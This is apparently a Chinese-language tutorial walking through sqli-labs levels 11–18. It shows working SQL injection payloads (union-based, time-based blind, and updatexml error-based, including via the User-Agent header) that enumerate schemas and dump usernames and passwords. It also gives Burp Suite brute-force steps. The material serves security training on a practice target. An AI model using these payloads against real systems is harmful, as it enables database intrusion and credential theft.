文章目录
- sql-lab 11
- 获取字段数
- 查询第一个数据库
- 获取表名(查取security为例)
- 获取列名
- 获取字段信息
- sql-lab 12
- sql-lab 13
- sql-lab 14
- sql-lab 15
- 知识扩充:
- sql-lab 17
- 获取表名
- 获取表名
- 获取列名
- 获取字段信息
- sql-lab 18
- 查询数据库名
- 查询表名
- 查询列名
- 查询字段信息
学习post注入,首先需要知道post传递,post与get注入明显区别在于,get在执行命令后在url中可以看出变化,而post则是在后台才可以看见,在url中发现不了变化,具体讲解可以看大佬的详细解释
sql-lab 11
观察11关,是以post形式进行注入
在靶场中输入admin获取正确信息,然后打开代理,与burpsuite连接,得到post方式的信息
输入到hackbar中post方式下
在get方式中,注释方法为–+,而在post方式中,注释方法为#
我们观察用户名和密码包裹方式都是一对单引号包裹,我们在uname后加上’即可注入
获取字段数
代码:
uname=n' order by 3 #&passwd=admin&submit=Submit
显示字段3不存在,接下来试试2
代码:
uname=n' order by 2 #&passwd=admin&submit=Submit
虽然仍显示登录失败,但是并未说字段2不存在,所以字段数为2
绕过型注入
代码:
uname=n' or 1=1#&passwd=admin&submit=Submit
使用联合查询
代码:
uname=n' union select 1,2#&passwd=admin&submit=Submit
查询当前数据库
代码:
uname=n' union select 1,database()#&passwd=admin&submit=Submit
查询第一个数据库
代码:
uname=n' union select 1,schema_name from information_schema.schemata #&passwd=admin&submit=Submit
获取第二个(limit函数)
代码:
uname=n' union select 1,schema_name from information_schema.schemata limit 1,1 #&passwd=admin&submit=Submit
法二:获取数据库(利用group_concat函数)
代码:
uname=n' union select 1,group_concat(schema_name) from information_schema.schemata #&passwd=admin&submit=Submit
获取表名(查取security为例)
代码:
uname=n' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #&passwd=admin&submit=Submit
获取列名
代码:
uname=n' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #&passwd=admin&submit=Submit
获取字段信息
代码:
uname=n' union select 1,group_concat(id,password,username) from security.users #&passwd=admin&submit=Submit
由于过乱,所以我们采用另一个函数concat_ws来将内容进行分割(0x7e是~的十六进制表示)
代码:
uname=n' union select 1,group_concat(0x7e,id,username,password) from security.users#&passwd=admin&submit=Submit
sql-lab 12
猜解包裹方式
方式无外乎这几种:
1、’
2、‘)
3、‘))
4、“
5、“)
6、“))
一一代入即可获取答案
十二关与十一关区别只有包裹方式不同,其他cv进去即可得到答案
sql-lab 13
首先猜测包裹方式
一一判断后发现包裹方式为’),所以我们在uname后加上’)再进行注释,利用union
Select 时我们发现没有回显
说明正确时只能显示登录成功,所以我们只能使用盲注
法一:运用sleep函数
判断数据库长度
代码:
uname=n') or if(length(database())>1,1,sleep(5))#&passwd=admin&submit=Submit
为了确定句子是否正确,我们可以来输入长度为10(已知长度为8)进行验证
法二:left函数
判断第一个数据库名的首字母
代码:
uname=n') or left((select schema_name from information_schema.schemata limit 0,1),1)>'a'#&passwd=admin&submit=Submit
此时也可使用burpsuite来破解
操作如下:
打开网站代理,开启burpsuite获取信息
发送至爆破模块
清除变量,并将a设置为变量
选择暴力破解,删去数字,最大值与最小值都设置为1
线程改为30
点击开始攻击
此时看出i与其他不同,为了进一步确定第一个字母是i,我们可以来看输出的图片
成功登陆为flag.php,我们观察下面图片的第一行最后插入的图片名为flag.php
说明成功注入,也可以利用burpsuite的render来看是否注入成功
显示成功登陆,说明注入成功,第二个猜解依旧与此相同
判断表名
首先判断长度
再判断首字母
代码:
uname=n') or left((select table_name from information_schema.tables where table_schema='test' limit 0,1),1)='a'#&passwd=admin&submit=Submit
打开网站代理,使得burpsuite获取信息
发送至爆破模块
清楚变量,将a变成变量
选择暴力破解,去掉数字,将最大值和最小值都改成1
线程改为30
开始攻击
后面与此类似
sql-lab 14
查看第十四关
唯一不同点在于包裹方式不同,其他都相同(注入成功无回显,只有成功登录)
sql-lab 15
查看第十五关
与前两关区别在于包裹方式为’,其他无任何不同
知识扩充:
Xpath函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
而我们的注入语句为:
1 updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
1 ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost’
sql-lab 17
首先添加四段语句(便于小白学习)
上面的echo $sql和echo”</ br>”也是
发现username输入错误时候会报错,而password输入则会重置,因此我们必须知道用户的用户名才能注入
观察十七关,发现在unname中注入会被转义,所以我们选择在passwd中进行注入
此时采用xpath函数来破解
示例:
获取表名
代码:
uname=admin &passwd=admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1)#&submit=Submit
获取表名
代码:
uname=admin&passwd=admin' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1) #&submit=Submit
获取列名
uname=admin&passwd=admin' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1)),1) #&submit=Submit
获取字段信息
代码
uname=admin&passwd=admin' or updatexml(1,concat(0x7e,(select email_id from security.emails limit 0,1)),1) #&submit=Submit
获取其他与此操作相似,不再重复
sql-lab 18
观察题目并进行测试
发现执行正确时会报出user-agent和本机地址
错误时只报出本机地址
而且我们发现在unname和passwd中进行注入时发现’被转义,所以不能使用这两个来进行注入,这时候只有user -agent 有回显,所以我们可以用user-agent来进行报错注入,首先用burpsuite抓包,然后发送到repeat模块,然后将user-agent内容改为 ' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1
,点击Go运行,查看结果,报出了当前数据库security
前面的’和后面1的’需要看情况,如果user-agent是用双引号包裹的那就需要改成双引号,遇到题时一一测试即可,关于最后为什么不用加注释符,原因是后面还要其它内容要插入,你用注释符后面就注释掉了,无法正常插入。
简单的理解就是user-agent执行后后面还有很多语句要执行,如果加个注释符,后面的就无法执行了(注释符:可以理解为#是把后面所有东西都注释了)
查询数据库名
User-Agent:' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e),1) or '1'='1
查询表名
User-Agent: ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) or '1'='1
查询列名
User-Agent: ' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e),1) or '1'='1
查询字段信息
User-Agent: ' and updatexml(1,concat(0x7e,(select username from security.users limit 0,1),0x7e),1) or '1'='1